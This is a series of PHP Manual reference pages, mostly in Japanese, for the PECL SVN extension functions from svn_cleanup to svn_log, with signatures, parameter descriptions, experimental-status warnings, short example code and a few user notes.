svn_cleanup ( string $workingdir ) : bool

作業コピーディレクトリ workingdir を再帰的にクリーンアップし、中途半端になっている操作を完了してロックを削除します。 作業コピーが中途半端な状態になってしまったときに、 再度使用可能にするために用います。

パラメータ

workingdir

クリーンアップしたい作業ディレクトリへのパス。

注意: 相対パスは、PHP バイナリが存在するディレクトリを基準として解決されます。呼び出しもとのスクリプトの作業ディレクトリを基準とするには、realpath() あるいは dirname(__FILE__) を使用してください。

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

例

例1 基本的な例

この例は、help-me という作業ディレクトリのクリーンアップを行います。

<?php
svn_cleanup(realpath('help-me'));
?>

SVN における相対パスの扱いは少々変わっているので、 realpath() のコールは必須です。

参考

  • update()
  • » SVN ドキュメントの svn cleanup

User Contributed Notes

There are no user contributed notes for this page.


SVN クライアントライブラリのバージョンを返す

  • ≪ svn_cleanup
  • svn_commit ≫
  • PHP Manual
  • SVN 関数
  • SVN クライアントライブラリのバージョンを返す

svn_client_version

(PECL svn >= 0.1.0)

svn_client_version — SVN クライアントライブラリのバージョンを返す

説明

svn_client_version ( ) : string

SVN クライアントライブラリのバージョンを返します。

返り値

バージョン番号を表す文字列を返します。通常は x.y.z 形式となります。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

例

例1 基本的な例

<?php
echo svn_client_version();
?>

上の例の出力は、 たとえば以下のようになります。

1.3.1

User Contributed Notes

There are no user contributed notes for this page.


Sends changes from the local working copy to the repository

  • ≪ svn_client_version
  • svn_delete ≫
  • PHP Manual
  • SVN 関数
  • Sends changes from the local working copy to the repository

svn_commit

(PECL svn >= 0.1.0)

svn_commit — Sends changes from the local working copy to the repository

説明

svn_commit ( string $log , array $targets , bool $recursive = true ) : array

Commits changes made in the local working copy files enumerated in the targets array to the repository, with the log message log. Directories in the targets array will be recursively committed unless recursive is set to false.

注意: This function does not have any parameters for specifying authentication, so a username and password must be set using svn_auth_set_parameter()

パラメータ

log

String log text to commit

targets

Array of local paths of files to be committed

警告

This parameter must be an array, a string for a single target is not acceptable.

注意: 相対パスは、PHP バイナリが存在するディレクトリを基準として解決されます。呼び出しもとのスクリプトの作業ディレクトリを基準とするには、realpath() あるいは dirname(__FILE__) を使用してください。

recursive

Boolean flag to disable recursive committing of directories in the targets array. Default is true.

返り値

Returns array in form of:

array(
    0 => integer revision number of commit
    1 => string ISO 8601 date and time of commit
    2 => name of committer
)

Returns false on failure.

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

例

例1 Basic example

This example commits the calculator directory to a repository, using the username Bob and the password abc123 (hopefully, his password is stronger):

<?php
svn_auth_set_parameter(SVN_AUTH_PARAM_DEFAULT_USERNAME, 'Bob');
svn_auth_set_parameter(SVN_AUTH_PARAM_DEFAULT_PASSWORD, 'abc123');
var_dump(svn_commit('Log message of Bob\'s commit', array(realpath('calculator'))));
?>

上の例の出力は以下となります。

array(
  0 => 1415,
  1 => '2007-05-26T01:44:28.453125Z',
  2 => 'Bob'
)

参考

  • svn_auth_set_parameter() - 認証パラメータを設定する
  • » SVN documentation on svn commit

User Contributed Notes

There are no user contributed notes for this page.


Delete items from a working copy or repository

  • ≪ svn_commit
  • svn_diff ≫
  • PHP Manual
  • SVN 関数
  • Delete items from a working copy or repository

svn_delete

(PECL svn >= 0.4.0)

svn_delete — Delete items from a working copy or repository

説明

svn_delete ( string $path , bool $force = false ) : bool

Deletes the file, directory or symbolic link at path from the working directory. The item will be deleted from the repository the next time you call svn_commit() on the working copy.

パラメータ

path

Path of item to delete.

注意: 相対パスは、PHP バイナリが存在するディレクトリを基準として解決されます。呼び出しもとのスクリプトの作業ディレクトリを基準とするには、realpath() あるいは dirname(__FILE__) を使用してください。

force

If true, the file will be deleted even if it has local modifications. Otherwise, local modifications will result in a failure. Default is false

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

参考

  • » SVN documentation on svn delete

User Contributed Notes

There are no user contributed notes for this page.


ふたつのパスの差分を再帰的に取得する

  • ≪ svn_delete
  • svn_export ≫
  • PHP Manual
  • SVN 関数
  • ふたつのパスの差分を再帰的に取得する

svn_diff

(PECL svn >= 0.1.0)

svn_diff — ふたつのパスの差分を再帰的に取得する

説明

svn_diff ( string $path1 , int $rev1 , string $path2 , int $rev2 ) : array

ふたつのパス path1 および path2 の差分を再帰的に取得します。

注意:

汎用的な diff ツールとは異なり、 バージョン管理の対象になっているローカルファイルしか差分取得の対象となりません。 その他のファイルの差分は取得できません。

パラメータ

path1

最初のパス。SVN リポジトリのファイル/ディレクトリを指す URL、 あるいはローカルのファイル/ディレクトリのパスのいずれかとなります。

注意: 相対パスは、PHP バイナリが存在するディレクトリを基準として解決されます。呼び出しもとのスクリプトの作業ディレクトリを基準とするには、realpath() あるいは dirname(__FILE__) を使用してください。

警告

ローカルファイルのパスを指定する際に、 バックスラッシュのみを使用して通常のスラッシュが存在しない場合は、 パスの検出に失敗してしまいます。この関数を使う際には、 バックスラッシュをすべてスラッシュに置き換えるようにしましょう。

rev1

最初のパスのリビジョン番号。最新のリビジョンを指定したい場合は SVN_REVISION_HEAD を使用します。

path2

もうひとつのパス。詳細は path1 の説明を参照ください。

rev2

もうひとつのパスのリビジョン番号。詳細は rev1 の説明を参照ください。

返り値

ふたつのストリームの内容を含む配列のリストを返します。 最初のストリームが diff の出力で、もうひとつはエラー出力です。 このストリームを読み込むには fread() を使用します。エラーが発生した場合は false あるいは null を返します。

デフォルトでは、diff の出力は Subversion 版の unified diff 形式となります。しかし、Subversion の設定によっては » 外部の diff エンジン を使うこともできます。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

例

例1 基本的な例

ここでは、この関数の基本的な使用法と結果の取得法を示します。

<?php
list($diff, $errors) = svn_diff(
    'http://www.example.com/svnroot/trunk/foo', SVN_REVISION_HEAD,
    'http://www.example.com/svnroot/branches/dev/foo', SVN_REVISION_HEAD
);
if (!$diff) exit;
$contents = '';
while (!feof($diff)) {
  $contents .= fread($diff, 8192);
}
fclose($diff);
fclose($errors);
var_dump($contents);
?>

上の例の出力は以下となります。

Index: http://www.example.com/svnroot/trunk/foo
===================================================================
--- http://www.example.com/svnroot/trunk/foo        (.../foo) (revision 23)
+++ http://www.example.com/svnroot/branches/dev/foo (.../foo) (revision 27)
 // この後に diff の内容が続きます

例2 あるパスのふたつのリビジョンの差分の取得

この例では、外部リポジトリ上の同じパスのアイテムについて、 ふたつのリビジョン間の差分を簡単に取得できるようにしたラッパー関数を実装します (デフォルトの構文だと少々冗長なので)。

<?php
function svn_diff_same_item($path, $rev1, $rev2) {
    return svn_diff($path, $rev1, $path, $rev2);
}
?>

例3 ローカルファイルの差分の取得

この例では、ふたつのローカルファイルの差分を 簡単に取得できるようなラッパー関数を実装します。 realpath() による補正と、 バックスラッシュに関するバグの対応を含めています。

<?php
function svn_diff_local($path1, $rev1, $path2, $rev2) {
    $path1 = str_replace('\\', '/', realpath($path1));
    $path2 = str_replace('\\', '/', realpath($path2));
    return svn_diff($path1, $rev1, $path2, $rev2);
}
?>

参考

  • » SVN ドキュメントの svn diff

User Contributed Notes

There are no user contributed notes for this page.


Export the contents of a SVN directory

  • ≪ svn_diff
  • svn_fs_abort_txn ≫
  • PHP Manual
  • SVN 関数
  • Export the contents of a SVN directory

svn_export

(PECL svn >= 0.3.0)

svn_export — Export the contents of a SVN directory

説明

svn_export ( string $frompath , string $topath , bool $working_copy = true , int $revision_no = -1 ) : bool

Export the contents of either a working copy or repository into a 'clean' directory.

パラメータ

frompath

The path to the current repository.

topath

The path to the new repository.

working_copy

If true, it will export uncommitted files from the working copy.

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 svn_export() example

<?php
$working_dir     = '../';
$new_working_dir = '/home/user/devel/foo/trunk';

svn_export($working_dir, $new_working_dir);
?>

参考

  • svn_import() - バージョン管理されていないパスをリポジトリにインポートする

User Contributed Notes

Magnum 22-Sep-2014 09:56
To checkout a single file at a particular version use svn_cat .
cleung at draper dot com 31-May-2011 08:15
This functionality is very different from the actual command line svn export url [-rRevision]

If you are thinking about checkout out a single file at a particular version, keep looking because this export can not perform that functionality.


トランザクションを中断し、成功したら true、失敗したら false を返す

  • ≪ svn_export
  • svn_fs_apply_text ≫
  • PHP Manual
  • SVN 関数
  • トランザクションを中断し、成功したら true、失敗したら false を返す

svn_fs_abort_txn

(PECL svn >= 0.2.0)

svn_fs_abort_txn — トランザクションを中断し、成功したら true、失敗したら false を返す

説明

svn_fs_abort_txn ( resource $txn ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

トランザクションを中断し、成功したら true、失敗したら false を返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


置換に使用するストリームを作成して返す

  • ≪ svn_fs_abort_txn
  • svn_fs_begin_txn2 ≫
  • PHP Manual
  • SVN 関数
  • 置換に使用するストリームを作成して返す

svn_fs_apply_text

(PECL svn >= 0.2.0)

svn_fs_apply_text — 置換に使用するストリームを作成して返す

説明

svn_fs_apply_text ( resource $root , string $path ) : resource
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

置換に使用するストリームを作成して返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


新しいトランザクションを作成する

  • ≪ svn_fs_apply_text
  • svn_fs_change_node_prop ≫
  • PHP Manual
  • SVN 関数
  • 新しいトランザクションを作成する

svn_fs_begin_txn2

(PECL svn >= 0.2.0)

svn_fs_begin_txn2 — 新しいトランザクションを作成する

説明

svn_fs_begin_txn2 ( resource $repos , int $rev ) : resource
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

新しいトランザクションを作成します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


成功したら true、失敗したら false を返す

  • ≪ svn_fs_begin_txn2
  • svn_fs_check_path ≫
  • PHP Manual
  • SVN 関数
  • 成功したら true、失敗したら false を返す

svn_fs_change_node_prop

(PECL svn >= 0.2.0)

svn_fs_change_node_prop — 成功したら true、失敗したら false を返す

説明

svn_fs_change_node_prop ( resource $root , string $path , string $name , string $value ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

成功したら true、失敗したら false を返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


指定したリポジトリの fsroot パスにどんなアイテムが存在するかを調べる

  • ≪ svn_fs_change_node_prop
  • svn_fs_contents_changed ≫
  • PHP Manual
  • SVN 関数
  • 指定したリポジトリの fsroot パスにどんなアイテムが存在するかを調べる

svn_fs_check_path

(PECL svn >= 0.1.0)

svn_fs_check_path — 指定したリポジトリの fsroot パスにどんなアイテムが存在するかを調べる

説明

svn_fs_check_path ( resource $fsroot , string $path ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

指定したリポジトリの fsroot パスにどんなアイテムが存在するかを調べます。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


コンテンツが変更されている場合に true、されていない場合に false を返す

  • ≪ svn_fs_check_path
  • svn_fs_copy ≫
  • PHP Manual
  • SVN 関数
  • コンテンツが変更されている場合に true、されていない場合に false を返す

svn_fs_contents_changed

(PECL svn >= 0.2.0)

svn_fs_contents_changed — コンテンツが変更されている場合に true、されていない場合に false を返す

説明

svn_fs_contents_changed ( resource $root1 , string $path1 , resource $root2 , string $path2 ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

コンテンツが変更されている場合に true、されていない場合に false を返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


ファイルやディレクトリをコピーし、成功したら true、失敗したら false を返す

  • ≪ svn_fs_contents_changed
  • svn_fs_delete ≫
  • PHP Manual
  • SVN 関数
  • ファイルやディレクトリをコピーし、成功したら true、失敗したら false を返す

svn_fs_copy

(PECL svn >= 0.2.0)

svn_fs_copy — ファイルやディレクトリをコピーし、成功したら true、失敗したら false を返す

説明

svn_fs_copy ( resource $from_root , string $from_path , resource $to_root , string $to_path ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

ファイルやディレクトリをコピーし、成功したら true、失敗したら false を返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


ファイルやディレクトリを削除し、成功したら true、失敗したら false を返す

  • ≪ svn_fs_copy
  • svn_fs_dir_entries ≫
  • PHP Manual
  • SVN 関数
  • ファイルやディレクトリを削除し、成功したら true、失敗したら false を返す

svn_fs_delete

(PECL svn >= 0.2.0)

svn_fs_delete — ファイルやディレクトリを削除し、成功したら true、失敗したら false を返す

説明

svn_fs_delete ( resource $root , string $path ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

ファイルやディレクトリを削除し、成功したら true、失敗したら false を返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


指定したパスのディレクトリを列挙し、ディレクトリ名とファイルタイプのハッシュを返す

  • ≪ svn_fs_delete
  • svn_fs_file_contents ≫
  • PHP Manual
  • SVN 関数
  • 指定したパスのディレクトリを列挙し、ディレクトリ名とファイルタイプのハッシュを返す

svn_fs_dir_entries

(PECL svn >= 0.1.0)

svn_fs_dir_entries — 指定したパスのディレクトリを列挙し、ディレクトリ名とファイルタイプのハッシュを返す

説明

svn_fs_dir_entries ( resource $fsroot , string $path ) : array
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

指定したパスのディレクトリを列挙し、ディレクトリ名とファイルタイプのハッシュを返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

qwazix at outofbounds dot gr 08-Feb-2011 07:05
Here is a function that returns an array with the directories in the root of the HEAD revision of a repository, using only the path of the repository.
<?php
    function get_repo_dirs($path){
        if (file_exists($path.'/format'))
        if ($repo = svn_repos_open($path))
        if ($repo_fs = svn_repos_fs($repo))
        if ($head = svn_fs_youngest_rev($repo_fs))
        if ($repo_fs_root = svn_fs_revision_root($repo_fs,$head))
        return array_keys(svn_fs_dir_entries($repo_fs_root,'.'));
        else return false;
    }
?>

example usage

<?php
    var_dump (get_repo_dirs('/home/user/svnrepos/example_project'));
?>


指定したバージョンの fs から、ファイルの中身を読み込むためのストリームを返す

  • ≪ svn_fs_dir_entries
  • svn_fs_file_length ≫
  • PHP Manual
  • SVN 関数
  • 指定したバージョンの fs から、ファイルの中身を読み込むためのストリームを返す

svn_fs_file_contents

(PECL svn >= 0.1.0)

svn_fs_file_contents — 指定したバージョンの fs から、ファイルの中身を読み込むためのストリームを返す

説明

svn_fs_file_contents ( resource $fsroot , string $path ) : resource
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

指定したバージョンの fs から、ファイルの中身を読み込むためのストリームを返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


指定したバージョンの fs から、ファイルの長さを返す

  • ≪ svn_fs_file_contents
  • svn_fs_is_dir ≫
  • PHP Manual
  • SVN 関数
  • 指定したバージョンの fs から、ファイルの長さを返す

svn_fs_file_length

(PECL svn >= 0.1.0)

svn_fs_file_length — 指定したバージョンの fs から、ファイルの長さを返す

説明

svn_fs_file_length ( resource $fsroot , string $path ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

指定したバージョンの fs から、ファイルの長さを返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


ディレクトリを指すパスである場合に true、それ以外の場合に false を返す

  • ≪ svn_fs_file_length
  • svn_fs_is_file ≫
  • PHP Manual
  • SVN 関数
  • ディレクトリを指すパスである場合に true、それ以外の場合に false を返す

svn_fs_is_dir

(PECL svn >= 0.2.0)

svn_fs_is_dir — ディレクトリを指すパスである場合に true、それ以外の場合に false を返す

説明

svn_fs_is_dir ( resource $root , string $path ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

ディレクトリを指すパスである場合に true、それ以外の場合に false を返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


ファイルを指すパスである場合に true、それ以外の場合に false を返す

  • ≪ svn_fs_is_dir
  • svn_fs_make_dir ≫
  • PHP Manual
  • SVN 関数
  • ファイルを指すパスである場合に true、それ以外の場合に false を返す

svn_fs_is_file

(PECL svn >= 0.2.0)

svn_fs_is_file — ファイルを指すパスである場合に true、それ以外の場合に false を返す

説明

svn_fs_is_file ( resource $root , string $path ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

ファイルを指すパスである場合に true、それ以外の場合に false を返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

ytcheng at qq dot com 18-Dec-2010 08:16
<?php
    $repos = svn_repos_open($this->sourceRoot);
    $fs = svn_repos_fs($repos);
    $head = svn_fs_youngest_rev($fs);
    $fsroot = svn_fs_revision_root($fs,$head);
    echo svn_fs_is_file($fsroot,$path);
?>


空のディレクトリを作成し、成功したら true、失敗したら false を返す

  • ≪ svn_fs_is_file
  • svn_fs_make_file ≫
  • PHP Manual
  • SVN 関数
  • 空のディレクトリを作成し、成功したら true、失敗したら false を返す

svn_fs_make_dir

(PECL svn >= 0.2.0)

svn_fs_make_dir — 空のディレクトリを作成し、成功したら true、失敗したら false を返す

説明

svn_fs_make_dir ( resource $root , string $path ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

空のディレクトリを作成し、成功したら true、失敗したら false を返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


空のファイルを作成し、成功したら true、失敗したら false を返す

  • ≪ svn_fs_make_dir
  • svn_fs_node_created_rev ≫
  • PHP Manual
  • SVN 関数
  • 空のファイルを作成し、成功したら true、失敗したら false を返す

svn_fs_make_file

(PECL svn >= 0.2.0)

svn_fs_make_file — 空のファイルを作成し、成功したら true、失敗したら false を返す

説明

svn_fs_make_file ( resource $root , string $path ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

空のファイルを作成し、成功したら true、失敗したら false を返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


fsroot 配下のパスが作成されたリビジョンを返す

  • ≪ svn_fs_make_file
  • svn_fs_node_prop ≫
  • PHP Manual
  • SVN 関数
  • fsroot 配下のパスが作成されたリビジョンを返す

svn_fs_node_created_rev

(PECL svn >= 0.1.0)

svn_fs_node_created_rev — fsroot 配下のパスが作成されたリビジョンを返す

説明

svn_fs_node_created_rev ( resource $fsroot , string $path ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

fsroot 配下のパスが作成されたリビジョンを返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


ノードのプロパティの値を返す

  • ≪ svn_fs_node_created_rev
  • svn_fs_props_changed ≫
  • PHP Manual
  • SVN 関数
  • ノードのプロパティの値を返す

svn_fs_node_prop

(PECL svn >= 0.1.0)

svn_fs_node_prop — ノードのプロパティの値を返す

説明

svn_fs_node_prop ( resource $fsroot , string $path , string $propname ) : string
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

ノードのプロパティの値を返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


プロパティが変更されている場合に true、それ以外の場合に false を返す

  • ≪ svn_fs_node_prop
  • svn_fs_revision_prop ≫
  • PHP Manual
  • SVN 関数
  • プロパティが変更されている場合に true、それ以外の場合に false を返す

svn_fs_props_changed

(PECL svn >= 0.2.0)

svn_fs_props_changed — プロパティが変更されている場合に true、それ以外の場合に false を返す

説明

svn_fs_props_changed ( resource $root1 , string $path1 , resource $root2 , string $path2 ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

プロパティが変更されている場合に true、それ以外の場合に false を返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


指定したプロパティの値を取得する

  • ≪ svn_fs_props_changed
  • svn_fs_revision_root ≫
  • PHP Manual
  • SVN 関数
  • 指定したプロパティの値を取得する

svn_fs_revision_prop

(PECL svn >= 0.1.0)

svn_fs_revision_prop — 指定したプロパティの値を取得する

説明

svn_fs_revision_prop ( resource $fs , int $revnum , string $propname ) : string
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

指定したプロパティの値を取得します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


リポジトリのルートの指定したバージョンのハンドルを取得する

  • ≪ svn_fs_revision_prop
  • svn_fs_txn_root ≫
  • PHP Manual
  • SVN 関数
  • リポジトリのルートの指定したバージョンのハンドルを取得する

svn_fs_revision_root

(PECL svn >= 0.1.0)

svn_fs_revision_root — リポジトリのルートの指定したバージョンのハンドルを取得する

説明

svn_fs_revision_root ( resource $fs , int $revnum ) : resource
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

リポジトリのルートの指定したバージョンのハンドルを取得します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


トランザクションのルートを作成して返す

  • ≪ svn_fs_revision_root
  • svn_fs_youngest_rev ≫
  • PHP Manual
  • SVN 関数
  • トランザクションのルートを作成して返す

svn_fs_txn_root

(PECL svn >= 0.2.0)

svn_fs_txn_root — トランザクションのルートを作成して返す

説明

svn_fs_txn_root ( resource $txn ) : resource
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

トランザクションのルートを作成して返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


ファイルシステム内で一番若いリビジョン番号を返す

  • ≪ svn_fs_txn_root
  • svn_import ≫
  • PHP Manual
  • SVN 関数
  • ファイルシステム内で一番若いリビジョン番号を返す

svn_fs_youngest_rev

(PECL svn >= 0.1.0)

svn_fs_youngest_rev — ファイルシステム内で一番若いリビジョン番号を返す

説明

svn_fs_youngest_rev ( resource $fs ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

ファイルシステム内で一番若いリビジョン番号を返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


バージョン管理されていないパスをリポジトリにインポートする

  • ≪ svn_fs_youngest_rev
  • svn_log ≫
  • PHP Manual
  • SVN 関数
  • バージョン管理されていないパスをリポジトリにインポートする

svn_import

(PECL svn >= 0.2.0)

svn_import — バージョン管理されていないパスをリポジトリにインポートする

説明

svn_import ( string $path , string $url , bool $nonrecursive ) : bool

バージョン管理されていないパス path を、 url で指定したリポジトリにコミットします。 path がディレクトリで nonrecursive が false の場合は、 再帰的にインポートします。

パラメータ

path

インポートするファイルあるいはディレクトリのパス。

注意: 相対パスは、PHP バイナリが存在するディレクトリを基準として解決されます。呼び出しもとのスクリプトの作業ディレクトリを基準とするには、realpath() あるいは dirname(__FILE__) を使用してください。

url

インポート先のリポジトリの URL。

nonrecursive

ディレクトリを再帰処理するかどうか。

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

例

例1 基本的な例

この例は、関数の基本的な使用法を示すものです。 new-files というディレクトリを http://www.example.com/svnroot/incoming/abc にインポートするには、次のようにします。

<?php
svn_import(realpath('new-files'), 'http://www.example.com/svnroot/incoming/abc', false);
?>

参考

  • svn_add() - Schedules the addition of an item in a working directory
  • » SVN ドキュメントの svn import

User Contributed Notes

There are no user contributed notes for this page.


指定したリポジトリ URL のコミットログメッセージを返す

  • ≪ svn_import
  • svn_ls ≫
  • PHP Manual
  • SVN 関数
  • 指定したリポジトリ URL のコミットログメッセージを返す

svn_log

(PECL svn >= 0.1.0)

svn_log — 指定したリポジトリ URL のコミットログメッセージを返す

説明

svn_log ( string $repos_url , int $start_revision = ? , int $end_revision = ? , int $limit = 0 , int $flags = SVN_DISCOVER_CHANGED_PATHS | SVN_STOP_ON_COPY ) : array

svn_log() は、指定したリビジョン URL repos_url の中身の完全な履歴を返します。 start_revision を指定した場合は、そのリビジョンの履歴を返します。 この関数は、svn log --verbose -r $start_revision $repos_url と同等です。

パラメータ

repos_url

履歴を取得したいアイテムのリポジトリ URL。

start_revision

ログを取得したい最初のリビジョン番号。直近のリビジョンからのログを取得する場合は SVN_REVISION_HEAD を使用します。

end_revision

ログを取得したい最後のリビジョン番号。デフォルトは、 start_revision を指定した場合はそれと同じで 指定しなかった場合は SVN_REVISION_INITIAL となります。

limit

取得したいログの数。

flags

SVN_OMIT_MESSAGES、 SVN_DISCOVER_CHANGED_PATHS および SVN_STOP_ON_COPY の任意の組み合わせ。

返り値

成功した場合は、この関数は次のような構造の配列を返します。

[0] => Array (最新のリポジトリから順に並びます)
(
    [rev] => リビジョン番号
    [author] => コミットした人の名前
    [msg] => ログメッセージ
    [date] => ISO 8601 形式、つまり date('c') と同じ形式の日付文字列
    [paths] => Array (変更したファイルについての説明)
        (
            [0] => Array
                (
                    [action] => 変更の種類を表す文字
                    [path] =>  変更されたファイルの絶対パス
                )
            [1] => ...
        )
)
[1] => ...

注意:

出力は、常に数値添字の二次元配列となります。 ログメッセージがなかったり、ひとつだけだったりする場合でも同じです。

action の値は、 » status の出力の最初の列の内容 のサブセットで、以下のいずれかとなります。

アクション
文字 | 説明
M | アイテム/プロパティが変更されました
A | アイテムが追加されました
D | アイテムが削除されました
R | アイテムが置き換えられました

何も変更されていない場合は、空の配列を返します。

注意

警告

